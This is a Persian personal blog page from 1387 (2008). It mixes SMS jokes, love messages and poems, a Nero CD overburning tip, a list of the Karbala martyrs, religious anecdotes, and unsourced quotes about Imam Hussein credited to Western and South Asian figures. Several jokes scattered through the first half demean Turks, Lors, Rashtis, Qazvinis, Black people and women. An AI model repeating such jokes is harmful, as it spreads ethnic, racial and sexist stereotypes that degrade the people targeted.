پروردگار محترم احتراما، نظر به اينكه طي بررسي‌هاي به عمل آمده توسط اينجانب، علي
رغم تمام نعمات و افاضات حضرتعالي در مراحل مختلف زندگي به اين حقير، به جايي
نرسيده و موجبات شرمساري نسل بشريت را فراهم آورده‌ام، متمني است پيرو تبصره سوم
بند اول قرارداد آفرينش، مورخ 1/1/1 منعقده فيمابين ابر جد اينجانب - مشهور به آدم-
و حضرتعالي، استعفاي اين حقير را از مقام انسانيت بپذيريد
--------------------------------------------
 
غضنفر بچشو ميبره توي لندن تا انگليسي ياد بگيره
سال بعد كه مياد سراغش نرسيده به مدرسه بچه هاي لندن داد ميزنن: اكبر ددون گلدي!!!
---------------------------------------
 
يارو پنج شبنه ميره داروخانه نوار بهداشتي بخره
فروشنده يه منچ هم بهش ميده، ميگه شب جمعت كه ريده شد بهش ، لا اقل بشين منچ بازي
كن!!!
 
 ------------------------------------------------
ميدوني فرق ايرانسل با خانوم ها چيه؟
طرح قرمز ايرانسل 1 ماهه اما طرح قرمز خانوم ها 1 هفته است
طرح قرمز ايرانسل آخر حاله ، اما طرح قرمز خانوم ها ضدحاله!!!
 
طرح قهوه ايي ( گه رنگ ايرانسل)
با شركت در اين طرح و پرداخت ???/??? تومان ، هر گهي كه مي خواهيد بخوريد !!!
 -----------------------------------
 
م -------------------------------------------
آن شب كه دلي بود به ميخانه نشستيم
آن توبه ي صد ساله به پيمانه شكستيم
از آتش دوزخ نهراسيم كه آن شب
ما توبه شكستيم ولي دل نشكستيم

-----------------------------------

آدما نمي تونن تغيير كنن
رابطه ها نمي تونن عوض بشن
دنيا نمي تونه ثابت بمونه
ولي يه دوست ميتونه تا ابد يه دوست بمونه
دوستت دارم تا ابد
 
------------------------------
مي دوني اگه يه روز خورشيد بميره چي ميشه؟
.
.
.
.
اون وقت زمين دوره تو ميگرده
.
.
.
.
ولي من عمرا بذارم
.
.
.
.
چون فقط من بايد دورت بگردم !
 
-----------------------------
 

 
يك ضرب المثل چيني هست كه ميگه:
اگه خدا به دختر ها اعتماد داشت كه پلمبشون نمي كرد !!!
-------------------------------------
تو را چون بادبادك دوست دارم
مثال پول قلك دوست دارم
تو گفتي بچه اي باشد ولي من
تورا قد لواشك دوست دارم
 ---------------------------------

 
به غضنفر مي گن با شرمندگي جمله بساز. ميگه : ????
--------------------------
يه نقطه ي قرمز توي آسمون حركت مي كنه
ميدوني چيه ؟؟؟
اون قلب من كه واسه تو پر كشيده نيست !!!. . .
يه مگسه كه ماتيك زده !!!
--------------------------

از شيخي ميپرسند: ذکر روز شنبه چيست؟
ميگه: هينگامه هينگامه هينگامه 
--------------
 
بند تمبونتيم
ولمون كني هم ما ميريم هم آبروتو مي بريم
جديدترين و تهديد آميزترين اس ام اس عاشقانه

 ------------------------
 
مساحت نوك سوزن رو تقسيم بر مساحت كره زمين كن
به جوابش كاري نداشته باش
مي خواستم بگم اينقدر دوستت دارم
 
---------------------------
ميدوني بزرگ ترين درد دنيا چيه؟
اينه كه بفهمي پناه لحظه هات يه پناه گاه ديگه داره . . .
 ---------------------------

يه نقطه ي امن ، يه گوشه ي دنج ، يه جاي پايدار تو دلت بذار كنار.
منو اونجا بايگاني كن
اما فراموشم نكن . . .
 ----------------------------

هواشناسي اعلام كرد از فردا موج جديدي از تعطيلات وارد كشور خواهد شد !!!
 --------------------------
هديه ي بابا نوئل براي:
رشتي ها: يه جو غيرت
ترك ها: يه مثقال فهم
لرها: يه دونه مغر
قزويني ها: تحريم ! چون هنوز بابا نوئل پارسال بر نگشته !!!
-----------------------------

خانوم ها !!!!
وقتي بوس هست چرا گاز ؟!!
در مصرف گاز صرفه جويي كنيد
( روابط عمومي شركت گاز ايران )
--------------------------

 

ياد گرفتم که :
1. با احمق بحث نکنم و بگذارم در دنياي احمقانه خويش خوشبخت زندگي کند.
2. با وقيح جدل نکنم چون چيزي براي از دست دادن ندارد و روحم را تباه مي کند .
3. از حسود دوري کنم چون حتي اگر دنيا را هم به او تقديم کنم باز هم از من بيزار
خواهد بود .
4. تنهايي را به بودن در جمعي که به آن تعلق ندارم ترجيح دهم
-----------------------------------

 

------------------------------

به دليل بارش شديد برف و يخبندان و مصادف شدن با ايام محرم و دهه فجر و در انتها
عيد نوروز مملکت تا ارديبهشت ماه تعطيل اعلام شد !

 -----------------------------
آدم عزيزانشو فراموش نميکنه بلکه به نديدنشون عادت ميکنه.....تقديم به کسي که عادت
به نديدنش مثل فراموش کردنش غيرممکنه
 -------------------------------------
خوبه ديگه, تو راحت تو خونه نشستي ولي من الان تعميرگاه هستم, ميدوني چرا؟ . . . .
چون . . . . خرابتم
 --------------------------------


 !
?ستاره تقديم تو
?ستاره پر بوسه که دلم بي تو نپوسه
?ستاره پر اميد واسه هر کس که تو را ديد
?ستاره پر رويا که قشنگه با تو دنيا
 -------------------------------

به غضنفر ميگن سگتون بچه مارو گاز گرفته !
ميگه : اولا سگ ما گاز نمي گيره
دوما: سگ ما هميشه بسته است
سوما: ما اصلا سگ نداريم !!!
  ----------------------------------------------

ميدوني فرق من با برف چيه؟
برف ميادو به زمين ميشينه ولي من همين جوري به دل ميشينم ! مگه نه !!!
  --------------------------------------


آرزو مي کنم غم هاي دلت برن زير اولين برف زمستوني و دلت سفيد و هميشه بدون غم
بمونه . . .
 
 ---------------------------


اگه ديدي گوشه اي از قلبت سنگينه منو ببخش, گوشه نشين قلبتم

  --------------------------------------
??? سه تا ? داره
زمستونا خيابونا برف داره
صابون که به دست بمالي کف داره
ايرانو اينجوري نبين نفت داره
نونوايي محلمون صف داره
آهنگاي قديمي توش دف داره
 
 ------------------------------------
 
نشنو از ني، ني حصيري بي وفاست
بشنو از دل ، دل حريم کبرياست
ني چو سوزد خاک و خاکستر شود
دل چو سوزد خانه ي دلبر شود
--------------------------------------------

تمام اميد آسيابون به وزش بده
تا آسيابش از کار نيفته
قلبم آسياب، خودم آسيابون و نفست همون باد . . .
 -----------------------


گمان کردم که با من هم دل و هم راز هم دردي
با تو پيمان مردانگي بستم نمي دانستم که نامردي ...
 
---------------------------------

به يـــاد آن روز کـــه در صفحــه ي شطـــرنج دلـــت شـاه عشـــق بودمــو با کـــيش
رخت مـــات شــدم . . .

--------------------------

10) "اگر معناي عشق را مي فهمم، همه به خاطر توست." ? هرمان هسه
---------------
چه کسي مي خواهد من و تو ما نشويم؟ خانه اش ويران باد.... 
 
 ------------------
 آسمان باراني است اشک من هم جاري است شايد اين ابر که مي نالد و مي گريد از درد من است آري اخر ابر هم از دلم باخبر است
-----------------------
درد من حصار برکه نيست درد زيستن با ماهياني است که فکر دريا به ذهنشان خطور نکرده است

 
----------------------
دو تا ترك داشتن تو يه ماشين بمب كار ميذاشتن يكيشون به اون يكي ميگه: اگه اين بمب الان منفجر شه چي كار كنيم؟ اون يكي ميگه نگران نباش من يكي ديگه دارم
---------------------

 به سياه پوسته ميگن شامپو بدنت چيه؟ ميگه مشكين تاژ

 ---------------------
 
 
عشق با لبخند شروع ميشود.با بوسه شكوفا ميشود.با گريه رشد ميكند.با 110 تمام ميشود
-----------------------------
 

به ياد آشنايان آشنا باش، به پيماني كه بستي با وفا باش، كه ياد تو هميشه خاطر ماست، تو هم هر جا كه هستي ياد ما باش.

 ----------------------------


اميدوارم با آمدن پاييز هر يك برگي كه از درخت مي افته يه دونه از غم هاي توي دلت كم بشه و ديگه هيچ وقت ناراحت نباشي.
------------------------------

يه دوست خوب و مهربون خيلي زود از دست ميره ولي يه دوست بد و نامهربون تا ابد واست ميمونه, دلم ميخواست اوني که دوسش داشتم بد بود
---------------------------------------------

هميشه وقتي گريه مي کني، اوني که آرومت ميکنه دوستت داره اما اوني که با تو گريه ميکنه عاشقته...
--------------------------

 

 


آدمک آخر دنياست بخنــــد
آدمک مرگ همين جاست بخنــد
دست خطــي که تو را عـاشق کرد
شوخي کاغــذي ماست بخنــد
آدمک خر نشــوي گريه کني !
کل دنيا ســراب است بخنــد
آن خدايي که بزرگش خواندي
به خدا مثل تو تنهاست بخنـد .... !


 ------------------------------

 
سنگ قبرم را نمي سازد کسي
مانده ام در کوچه هاي بي کسي
سوختم خاکسترم را باد برد
بهترين دوستم مرا از ياد برد
 
--------------------------------------------------


 


غضنفر لنگ بوده با کشتي ميره سفر, وقتي برميگرده دوستش ميگه سفر خوب بود؟ ميگه نه بابا همش استرس داشتم چون هي ميگفتن لنگرو بندازيد تو آب

---------------------
يه روز آشغالي مياد دمه خونه ي غضنفر ميگه : آشغال دارين؟
غضنفر داد ميزنه: خانوم توي خونه آشغال داريم ؟
زنش ميگه: آره داريم
غضنفر ميگه: آره داريم، نمي خوايم !!!

----------------------------------------------------
 


به غضنفر ميگن بستني کيم رو چه جوري مي خورن؟
ميگه: ميذارن لاي بربري ، سيخشو در ميارن !


 -------------------------------------


بزرگترين مشغله فكري كودكان ايران اينه كه چرا داداش كايكو دستمال قدرتشو تو جيب خودش نميذاشت

 -----------------------------------


 
 
 
 بزرگترين گناه:سکوت بزرگترين شجاعت: بگي دوست دارم/بزرگترين سرمايه:دوست/بزرگترين افتخار:عاشق شدن.../بزرگترين هنر:عاشق ماندن... -
---------------------
اس ام اسات شده مثل دارو.يکي صبح يکي شب.اما حال من خيلي بده.هر لحظه به دارو احتياج دارم هر لحظه )
----------------------------
 حرف هاي ما هنوز ناتمامند تا نگاه ميکني وقت رفتن است.باز همان حکايت هميشگي،پيش از آنکه با خبر شوي لحظه ي رفتن تو ناگزير ميشود. اي آي... دريغ و حسرت هميشگي، ناگهان چقدر زود دير ميشود... )
--------------------
 براي لذت بردن از زندگي کافيه کمي احمق باشي شکسپير )
-------------------------------------------
 

 بعضي ها،ميخواهند که تلقين کنندگان صميميت باشند.مي نشينند تا بناي تو فرو بريزد.مي نشينند تا روز اندوه بزرگ. )
---------------------
 اگر خدا از حضرت ابراهيم خواسته بود بجاي فرزند ، همسرش را قرباني كند اين مراسم هر سال با شكوه بسيار در تمام دنيا تكرار ميشد.!)
-----------------------------------------
افتخار در خشک کردن قطره ي اشک است نه جاري ساختن سيل خون. )
------------------------------------------------
 صبا اگرگذري افتدت به كشور دوست،ببر زسوى محبان پيامي بر در دوست اگرچه دوست به كاهي نميخرد ما را، ولى به عالمي نفروشيم موئي ازسر دوست. )
----------------------------------
 يه روز يه يارو ميره حموم، صابونشو گم ميکنه،اين ور رو نگا ميکنه ميبينه نيست،اون ور رو نگا ميکنه ميبينه هست!!! )
-----------------------------
 به يه بابايي ميگن يه ميوه ي خوش مزه،ابدار و شيرين بگو. ميگه خيار!ميگن خيار کجاش شيرين و ابدره؟ ميگه با چايي شيرين بخور نظرت عوض ميشه ! )
-----------------------------------------
 
 
 

پناهاز ميلتون شاعر نامدار انگليسي پرسيدند : آيا دخترت را مي گذاري زبانهاي بيگانه را فرا گيرد ؟
جواب داد : نه همان يک زبان براي يک زن کافي است .

-------------------------------
خانمي که مدتي به انتظار شوهرش در خانه بسر برده بود وقتي که او به خانه آمد گفت : کجا بودي که دو ساعت از هر روز دير تر آمدي ؟
شوهرش جواب داد : هيچ ، عمه ات را در خيابان ديدم و فقط از او پرسيدم حالتان چطور است . . .. ؟!

----------------------------------------------------------
معلمي سر کلاس تشريح جمجمه اي را به دانشجويان رشته پزشکي نشان داده و پرسيد: کداميک از شما مي توانيد بگوئيد اين جمجمه مال کيست ؟ زن يا مرد؟
يکي از دانشجويان بلند شده و گفت : اين جمجمه متعلق به يک زن بوده است .
معلم گفت : آفرين ، احسنت ، ولي بگو ببينم از کجا متوجه اين مسئله شدي ؟
دانشجو گفت : خيلي ساده است ، از فک ساييده شده اش بر اثر پر حرفي معلوم است .

 

 
 ----------------

 
 نگاهم کرد پنداشتم دوستم دارد، نگاهم کرد در نگاهش هزاران شوق عشق را خواندم، نگاهم کرد دل به او بستم، نگاهم کرد... اما بعدها فهميدم فقط نگاه ميکرد.
--------------------------
 

+ نوشته شده در  شنبه 22 تیر1387ساعت 23:8  توسط سید حسین محمدی | 

 ye shab ye torke be zanesh mige khanom man emshab havase noon barbari kardam.zanesh mige khob boro begir man ham bokhoram,torke mire noonvayi mige shater 2 ta noon barbari bede.shater mige chera 2 ta .mige akhe khanoomam ham havase noon barbari karde.vaghti barmigarde khoone va noon ro mizare too sofre zanesh mige in noono az koja kharidi?oon ham mige az sare koche.zanesh mige khoobe dastet dard nakone vaki man nemitoonam ye noone kamel bokhoram.chon too rejimam.torke mige eybi nadare harchi nakhordi man mikhoram.khordan ke tamoom shod raftan bekhaban .hanooz sareshoon be balesh nakhorde bood ke khabeshoon bord.alan ham khabidan.bezar bidar beshan bebinim dige chikar mikonan. hatman dar jaryan mizaramet
 
+ نوشته شده در  شنبه 22 تیر1387ساعت 23:8  توسط سید حسین محمدی | 
رايت يك گيگا بايت بر روي يك سي دي معمولي

ابتدا برنامه nero را باز كنيد و بخش nero burnning ROM را انتخاب كرده و كليد هاي Ctrl+R را فشار دهيد.در پنجره باز شده ببينيد جلوي عبارت OverBurn كلمه supported نوشته شده يا نه ؟اگر ننوشته رايتر شما از انجام اين كار معذور است وگرنه مراحل زير را دنبال كنيد:به منوي فايل رفته و در بخش preference به قسنت Expert feature برويد.عبارت enable OverBurn را فعال كنيد.در زير اين گزينه مقدار مجاز  را به 90 دقيقه تغيير دهيد.حالا از منوي فايل New را برگزينيد و در قسمت Multisession گزينه No Multisession را انتخاب كنيد.سپس در قسمت Burn عبارت عبارت Write Method را به عنوان Disc at Once تبديل نماييد.حالا سي دي را رايت كنيد.البته مقدار رايت در اين روش  بستگي به اصل بودن يا نبودن و همچنين كيفيت رايتر شما دارد.


 

+ نوشته شده در  شنبه 22 تیر1387ساعت 23:7  توسط سید حسین محمدی | 
اسامى شهداى کربلا از ياران حسين (ع) طبق رواياتى که نگارنده از لابلاى کتب تاريخ به دست آورده ام از بنى هاشم و غير بنى هاشم بدين شرح ذکر شده است:
فرزندان امير المؤمنين (ع) :
1ـ ابو بکر بن علي (که شهادت وى با شک و ترديد ذکر شده است.)
2ـ عمر بن على
3ـ محمد الاصغر بن على
4ـ عبد الله بن على
5ـ عباس بن على
6ـ محمد بن العباس بن على
7ـ عبد الله بن العباس بن على
8ـ عبد الله الاصغر
9ـ جعفر بن على
10ـ عثمان بن على
فرزندان امام حسن (ع) :
11ـ قاسم بن حسن
12ـ ابو بکر بن حسن
13ـ عبد الله بن حسن
14ـ بشر بن حسن
فرزندان امام حسين (ع) :
15ـ على بن الحسين الاکبر
16ـ عبد الله الرضيع
17ـ ابراهيم بن الحسين (اين نام را ابن شهر آشوب در کتاب خود آورده و تعداد ديگرى نيز بدان اضافه کرده است.)
فرزندان عبد الله بن جعفر (ره) :
18ـ محمد بن عبد الله بن جعفر
19ـ عون بن عبد الله بن جعفر
20ـ عبيد الله بن عبد الله بن جعفر
فرزندان عقيل بن ابى طالب (ره)
21ـ مسلم بن عقيل
22ـ جعفر بن عقيل
23ـ جعفر بن محمد بن عقيل (نام وى را نيز ابن شهر آشوب ذکر کرده است.)
24ـ عبد الرحمن بن عقيل
25ـ عبد الله الاکبر بن عقيل
26ـ عبد الله بن مسلم بن عقيل
27ـ عون بن مسلم بن عقيل
28ـ محمد بن مسلم بن عقيل
29ـ محمد بن ابي سعيد بن عقيل
30ـ احمد بن محمد الهاشمى (هر چند که در ميان کتب تاريخى نامى از اين شخص برده نشده و نه جزء فرزندان عباس و نه غير او ذکرى به ميان نيامده اما وى را نيز ابن شهر آشوب آورده است.)
ياران امام از غير بنى هاشم که در واقعه کربلا به شهادت رسيده‏اند به ترتيب حروف الفبا :
1ـ ابراهيم بن الحصين الاسدى
2ـ ابو الحتوف بن الحارث الانصارى
3ـ ابو عامر النهشلي
4ـ ادهم بن اميه العبدى
5ـ اسلم الترکى (آزاد شده حسين ع)
6ـ امية بن سعد الطايى
7ـ أنس بن الحارث الکاهلي
8ـ أنيس بن معقل الاصبحى
9ـ برير بن خضير الهمدانى
10ـ بشر بن عبد الله الحضرمى
11ـ بکر بن حي التيمى
12ـ جابر بن الحجاج التيمى
13ـ جبلة بن علي الشيباني
14ـ جنادة بن الحارث السلمانى
15ـ جنادة بن کعب الانصارى
16ـ جندب بن حجير الخولانى
17ـ جون (آزاد شده ابى ذر)
18ـ جوين بن مالک التميمى
19ـ الحارث بن امرئ القيس الکندى
20ـ الحارث بن نبهان (آزاد شده حمزه)
21ـ الحباب بن الحارث
22ـ الحباب بن عامر الشعبى
23ـ حبشى بن قاسم النهمى
24ـ حبيب بن مظهر الاسدى
25ـ الحجاج بن بدر السعدى
26ـ الحجاج بن مسروق الجعفى
27ـ الحر بن يزيد الرياحى
28ـ الحلاس بن عمرو الراسبى
29ـ حنظلة بن اسعد اشبامى
30ـ حنظلة بن عمرو الشيبانى
31ـ رافع (آزاد شده مسلم الازدى)
32ـ زاهر بن عمرو الکندى (آزاد شده عمرو بن حمق)
33ـ زهير بن لبشر الخثعمى
34ـ زهير بن سليم الازدى
35ـ زهير بن القين البجلى
36ـ زياد بن عريب الصائدى
37ـ سالم (آزاد شده بنى المدينه الکلبى)
38ـ سالم (آزاد شده عامر عبدى)
39ـ سعد بن الحارث الانصارى
40ـ سعد (آزاد شده على بن ابى طالب ع)
41ـ سعد (آزاد شده عمرو بن خالد صيداوى)
42ـ سعيد بن عبد الله الحنفى
43ـ سلمان بن مضارب البجلى
44ـ سليمان (آزاد شده حسين ع)
45ـ سوار بن منعم النهمى
46ـ سويد بن عمرو بن ابى المطاع
47ـ سيف بن الحارث بن سريع الجابرى
48ـ سيف بن مالک العبدى
49ـ شبيب (آزاد شده حارث جابرى)
50ـ شوذب (آزاد شده بنى شاکر)
51ـ الضرغامة بن مالک
52ـ عائذ بن مجمع العائذى
53ـ عالبس بن ابى شبيب الشاکرى
54ـ عامر بن حسان بن شريح بن سعد بن حارثه بن لام بن عمرو بن طريف بن عمرو بن بشامة بن ذهل بن جدعان بن سعد بن قطرة بن طي
55ـ عامر بن مسلم العبدى
56ـ عباد بن المهاجر الجهنى
57ـ عبد الأعلى بن يزيد الکلبى
58ـ عبد الرحمن الارحبي
59ـ عبد الرحمن بن عبد ربه الانصارى
60ـ عبد الرحمن بن عروة الغفارى
61ـ عبد الرحمن بن مسعود التيمى
62ـ عبد الله بن ابى بکر (چنان که جاحظ در کتاب الحيوان آورده وى از کسانى است که در واقعه کربلا به شهادت رسيده است.)
63ـ عهد الله بن بشر الخثعمى
64ـ عبد الله بن عروة الغفارى
65ـ عبد الله بن عمير بن جناب الکلبى
66ـ عبد الله بن يزيد العبدى
67ـ عبيد الله بن يزيد العبدى
68ـ عقبة بن سمعان
69ـ عقبة بن الصلت الجهنى
70ـ عمارة بن صلخب الازدى
71ـ عمران بن کعب بن حارثة الاشجعى
72ـ عمار بن حسان الطائى
73ـ عمار بن سلامة الدالانى
74ـ عمرو بن عبد الله الجندعى
75ـ عمرو بن خالد الازدى
76ـ عمرو بن خالد الصيداوى
77ـ عمرو بن قرظة الانصارى
78ـ عمرو بن مطاع الجعفى
79ـ عمرو بن جنادة الانصارى
80ـ عمرو بن ضبيعة الضبعى
81ـ عمرو بن کعب ابو ثمامة الصائدى
82ـ قارب (آزاد شده حسين ع)
83ـ قاسط بن زهير التغلبى
84ـ القاسم بن حبيب الازدى
85ـ کردوس التغلبى
86ـ کنانة بن عتيق التغلبى
87ـ مالک بن ذودان
88ـ مالک بن عبد الله بن سريع الجابرى
89ـ مجمع الجهنى
90ـ مجمع بن عبيد الله العائذى
91ـ محمد بن بشير الحضرمى
92ـ مسعود بن الحجاج التيمى
93ـ مسلم بن عوسجه الاسدى
94ـ مسلم بن کثير الازدى
95ـ مقسط بن زهير التغلبى
96ـ منجح (آزاد شده امام حسن ع)
97ـ الموقع بن ثمامة الاسدى
98ـ نافع بن هلال الجملى
99ـ نصر (آزاد شده على ع)
100ـ النعمان بن عمرو الراسبى
101ـ نعيم بن عجلان الانصارى
102ـ واضح الرومى (آزاد شده حارث سلمانى)
103ـ وهب بن حباب الکلبى
104ـ يزيد بن ثبيط العبدى
105ـ يزيد بن زياد بن مهاصر الکندى
106ـ يزيد بن مغفل الجعفى
چنانچه سى تن از بنى هاشم را به اين تعداد که ذکر شد اضافه کنيم.تعداد شهداى کربلا به 136 نفر مى ‏رسد و چون قيس بن مسهر صيداوى و عبد الله بن بقطر و هانى بن عروة را نيز جزء آنها قرار دهيم تعداد آنها به 139 نفر خواهد رسيد.
 

 
گويند : صاحب دلى ، براى اقامه نماز به مسجدى رفت. نمازگزاران ، همه او را شناختند ؛ پس ، از او خواستند كه پس از نماز ، بر منبر رود و پند گويد. پذيرفت.
نماز جماعت تمام شد. چشم ‏ها همه به سوى او بود. مرد صاحب دل برخاست و بر پله نخست منبر نشست.
بسم الله گفت و خدا و رسولش را ستود. آن گاه خطاب به جماعت گفت :
مردم! هر كس از شما كه مى ‏داند امروز تا شب خواهد زيست و نخواهد مرد ، برخيزد !
كسى برنخاست. گفت :
حالا هر كس از شما كه خود را آماده مرگ كرده است ، برخيزد !
باز كسى برنخاست. گفت : شگفتا از شما كه به ماندن اطمينان نداريد ؛ اما براى رفتن نيز آماده نيستيد !
 

 
گويند در بنى اسرائيل ، مردى بود كه مى ‏گفت : من در همه عمر ، خدا را نافرمانى كرده‏ ام و بس گناه و معصيت كه از من سر زده است ؛ اما تاكنون زيانى و كيفرى نديده ‏ام. اگر گناه ، جزا دارد و گناهكار بايد كيفر بيند ، پس چرا ما را كيفرى و عذابى نمى ‏رسد! ؟
در همان روزها ، پيامبر قوم بنى اسرائيل ، نزد آن مرد آمد و گفت :
خداوند ، مى‏ فرمايد كه ما تو را عذاب‏ هاى بسيار كرده ‏ايم و تو خود نمى ‏دانى ! آيا تو را از شيرينى عبادت خود ، محروم نكرده ‏ايم ؟ آيا در مناجات را بر روى تو نبسته ‏ايم ؟ آيا اميد به زندگى خوش در آخرت را از تو نگرفته ‏ايم ؟ عذابى بزرگ‏تر و سهمگين ‏تر از اين مى ‏خواهى ؟
 

 
ابوسعيد را گفتند : كسى را مى ‏شناسيم كه مقام او آن چنان است كه بر روى آب راه مى ‏رود.
شيخ گفت : كار دشوارى نيست ؛ پرندگانى نيز باشند كه بر روى آب پا مى ‏نهند و راه مى ‏روند.
گفتند : فلان كس در هوا مى ‏پرد. گفت : مگسى نيز در هوا بپرد.
گفتند : فلان كس در يك لحظه ، از شهرى به شهرى مى‏ رود.
گفت : شيطان نيز در يك دم ، از شرق عالم به مغرب آن مى ‏رود. اين چنين چيزها ، چندان مهم و قيمتى نيست.
مرد آن باشد كه در ميان خلق نشيند و برخيزد و بخسبد و با مردم داد و ستد كند و با آنان در آميزد و يك لحظه از خداى غافل نباشد.
 

 
مردى از اهل حبشه نزد رسول خدا صلوات الله عليه و آله آمد وگفت : يا رسول الله ! گناهان من بسيار است. آيا در توبه به روى من نيز باز است ؟
پيامبر (ص) فرمود : آرى ، راه توبه بر همگان ، هموار است. تو نيز از آن محروم نيستى.
مرد حبشى از نزد پيامبر (ص) رفت. مدتى نگذشت كه بازگشت و گفت :
يا رسول الله ! آن هنگام كه معصيت مى ‏كردم ، خداوند ، مرا مى ‏ديد ؟
پيامبر (ص) فرمود : آرى ، مى ‏ديد.
مرد حبشى ، آهى سرد از سينه بيرون داد و گفت : توبه ، جرم گناه را مى ‏پوشاند ؛ چه كنم با شرم آن ؟
در دم نعره ‏اى زد و جان بداد.
 

 
 
كسى نزد اميرمؤ منان على (عليه السلام) از عدم استجابت دعايش شكايت كرد و گفت با اينكه خداوند فرموده دعا كنيد من اجابت مى كنم ، چرا ما دعا مى كنيم و به اجابت نمى رسد ؟! اما در پاسخ فرمود: قلب و فكر شما در هشت چيز خيانت كرده لذا دعايتان مستجاب نمى شود:
1- شما خدا را شناخته ايد اما حق او را ادا نكرده ايد، بهمين دليل شناخت شما سودى بحالتان نداشته.
2- شما به فرستاده او ايمان آورده ايد سپس با سنتش به مخالفت برخاسته ايد ثمره ايمان شما كجا است ؟
3- كتاب او را خوانده ايد ولى به آن عمل نكرده ايد، گفتيد شنيديم و اطاعت كرديم سپس به مخالفت برخاستيد.
4- شما مى گوئيد از مجازات و كيفر خدا مى ترسيد، اما همواره كارهائى مى كنيد كه شما را به آن نزديك مى سازد ...
5- مى گوئيد به پاداش الهى علاقه داريد اما همواره كارى انجام مى دهيد كه شما را از آن دور مى سازد ...
6- نعمت خدا را مى خوريد و حق شكر او را ادا نمى كنيد.
7- به شما دستور داده دشمن شيطان باشيد (و شما طرح دوستى با او مى ريزيد) ادعاى دشمنى با شيطان داريد اما عملا با او مخالفت نمى كنيد.
8- شما عيوب مردم را نصب العين خود ساخته و عيوب خود را پشت سر افكنده ايد .. . با اين حال چگونه انتظار داريد دعايتان به اجابت برسد؟ در حالى كه خودتان درهاى آنرا بسته ايد؟ تقوا پيشه كنيد، اعمال خويش را اصلاح نمائيد امر به معروف و نهى از منكر كنيد تا دعاى شما به اجابت برسد.
امام علي (ع) (نهج البلاغه حكمت 337) : دعا كننده بدون عمل و تلاش مانند تيرانداز بدون زه است.
محمد بن على ترمذى، از عالمان ربانى و دانشمندان عارف مسلك بود. در عرفان و طريقت ، به علم بسيار اهميت مى ‏داد ؛ چنان كه او را "حكيم الاولياء" مى ‏خواندند.
در جوانى با دو تن از دوستانش ، عزم كردند كه به طلب علم روند. چاره ‏اى جز اين نديدند كه از شهر خود ، هجرت كنند و به جايى روند كه بازار علم و درس ، در آن جا گرم ‏تر است.
محمد ، به خانه آمد و عزم خود را به مادر خبر داد.
مادرش غمگين شد و گفت : اى جان مادر ! من ضعيفم و بى ‏كس و تو حامى من هستى ؛ اگر بروى ، من چگونه روزگار خود را بگذرانم. مرا به كه مى سپارى ؟ آيا روا مى ‏دارى كه مادرت تنها و عاجز بماند و تو دانشمند شوى ؟
از اين سخن مادر ، دردى به دل او فرود آمد. ترك سفر كرد و آن دو رفيق ، به طلب علم از شهر بيرون رفتند.
مدتى گذشت و محمد همچنان حسرت مى ‏خورد و آه مى ‏كشيد.
روزى در گورستان شهر نشسته بود و زار مى ‏گريست و مى ‏گفت : من اين جا بى ‏كار و جاهل ماندم و دوستان من به طلب علم رفتند. وقتى باز آيند ، آنان عالم‏اند و من هنوز جاهل.
ناگاه پيرى نورانى بيامد و گفت : اى پسر!چرا گريانى ؟
محمد ، حال خود را باز گفت.
پير گفت : خواهى كه تو را هر روز درسى گويم تا به زودى از ايشان در گذرى و عالم ‏تر از دوستانت شوى ؟
گفت : آرى ، مى‏ خواهم.
پس هر روز ، درسى مى ‏گفت تا سه سال گذشت. بعد از آن معلوم شد كه آن پير نورانى ، خضر (ع) بود و اين نعمت و توفيق ، به بركت رضا و دعاى مادر يافته است.
 

 
از عايشه نقل شده است که روزي گوسفندي را ذبح کرديم و پيامبر (ص) تمام قسمت هاي آن گوشت را به ديگران انفاق نمود. و تنها کتفي از گوسفند باقي ماند.
من به پيامبر عرض کردم : يا رسول الله (ص) از گوسفند تنها کتفي از آن باقي مانده است.
رسول الله (ص) فرمودند : هر آنچه انفاق کرديم باقي است به غير از اين کتف.
 

 
روزى پيامبر اكرم صلى ‏الله ‏عليه ‏و آله از راهى عبور مى ‏كرد. در راه شيطان را ديد كه خيلى ضعيف و لاغر شده است. از او پرسيد: چرا به اين روز افتاده ‏اى؟ گفت: يا رسول ‏الله از دست امت تو رنج مى ‏برم و در زحمت‏ بسيار هستم . پيامبر فرمودند: مگر امت من با تو چه كرده ‏اند ؟ گفت: يا رسول ‏الله، امت ‏شما شش خصلت دارند كه من طاقت ديدن و تحمل اين خصايص را ندارم .اول اين كه هر وقت ‏به هم مى‏ رسند سلام مى ‏كنند. دوم اين كه با هم مصافحه - دست دادن- مى ‏كنند. سوم آن كه ، هر كارى را كه مى‏ خواهند انجام دهند «ان‏ شاء الله» مى ‏گويند ، چهارم از اين خصلت ها آن است كه استغفار از گناهان مى ‏كنند ، پنجم اين كه تا نام شما را مى‏ شنوند صلوات مى‏ فرستند و ششم آن كه ابتداى هر كارى « بسم الله الرحمن الرحيم‏» مى‏ گويند.
 

 
 
 
محرم و عاشورا از ديدگاه بزرگان
 
ـ مهاتماگاندي (رهبر استقلال هند): من زندگي امام حسين، آن شهيد بزرگ اسلام را به دقت خوانده‌ام و توجه كافي به صفحات كربلا نموده‌ام و بر من روشن شده است كه اگر هندوستان بخواهد يك كشور پيروز گردد، بايستي از امام حسين پيروي كند.
 
ـ محمد علي جناح (قائد اعظم پاكستان): هيچ نمونه‌اي از شجاعت، بهتر از آنكه امام حسين از لحاظ فداكاري و تهور نشان داد در عالم پيدا نمي‌شود. به عقيده من تمام مسلمين بايد از سرمشق اين شهيدي كه خود را در سرزمين عراق قربان كرد پيروي نمايد.
 
ـ چارلزديكنز (نويسنده معروف انگليسي): اگر منظور امام حسين جنگ در راه خواسته‌هاي دنيايي بود، من نمي‌فهمم چرا خواهران و زنان و اطفالش به همراه او بودند؟ پس عقل چنين حكم مي‌نمايد كه او فقط به خاطر اسلام، فداكاري خويش را انجام داد.
 
ـ توماس كارلايل (فيلسوف و مورخ انگيسي): بهترين درسي كه از تراژدي كربلا مي‌گيريم، اين است كه حسين و يارانش ايمان استوار به خدا داشتند. آنها با عمل خود روشن كردند كه تفوق عددي در جايي كه حق با باطل رو برو مي‌شود اهميت ندارد و پيروزي حسين با وجود اقليتي كه داشت، باعث شگفتي من است.
 
ـ ادوارد براون (مستشرق معروف انگليسي): آيا قلبي پيدا مي‌شود كه وقتي درباره كربلا سخن مي‌شنود، آغشته با حزن و الم نگردد؟ حتي غير مسلمانان نيز نمي‌توانند پاكي روحي را كه در اين جنگ اسلامي در تحت لواي آن انجام گرفت انكار كنند.
 
